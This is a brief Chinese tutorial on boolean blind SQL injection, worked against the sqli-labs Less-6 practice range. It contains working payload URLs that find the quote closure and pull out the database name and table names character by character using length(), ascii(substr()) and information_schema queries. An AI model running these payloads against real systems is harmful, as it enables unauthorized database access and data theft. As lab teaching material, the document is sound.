简介
SQL注入(SQL Injection)是一种常见的网络攻击方式,通过向SQL查询中插入恶意的SQL代码,攻击者可以操控数据库,SQL注入是一种代码注入攻击,其中攻击者将恶意的SQL代码插入到应用程序的输入字段中,然后这些输入被传递到数据库服务器上执行。攻击者可以利用这一漏洞执行任意的SQL查询或命令,从而访问或操控数据库中的敏感信息。
SQL注入的一个简要流程:
1、打开目标靶场
2、选择less - 6
3、确定网站可以注入的参数
http://172.16.1.13/Less-6/?id=
4、判断闭合方式
http://172.16.1.13/Less-6/?id=1" --+
5、确定数据库长度length()函数
因为页面只有ture和flase两种情况,所以需要使用布尔盲注判断数据库长度,使用length()函数
例如: http://172.16.1.13/Less-6/?id=1" and length(database())>6--+
http://172.16.1.13/Less-6/?id=1" and length(database())>8--+
最终可以确定数据库名长度为8
6、确定数据库字符使用ASCII码
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114
http://172.16.1.13/Less-6/?id=1" and ascii(substr(database(),1,1))>120--+
最终可以确定第一位字符ascii码为115,确定为字母s
以此类推,最终可确定数据库名为 security
7、查询数据库中第一张表
查询第一张表的第一个字符
http://172.16.1.13/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
最终可以确定第一位字符ascii码为101,确定为字母e
按照此法依次可以得出最终自己想要的数据内容!!!
安全
网络安全为人民,网络安全靠人民。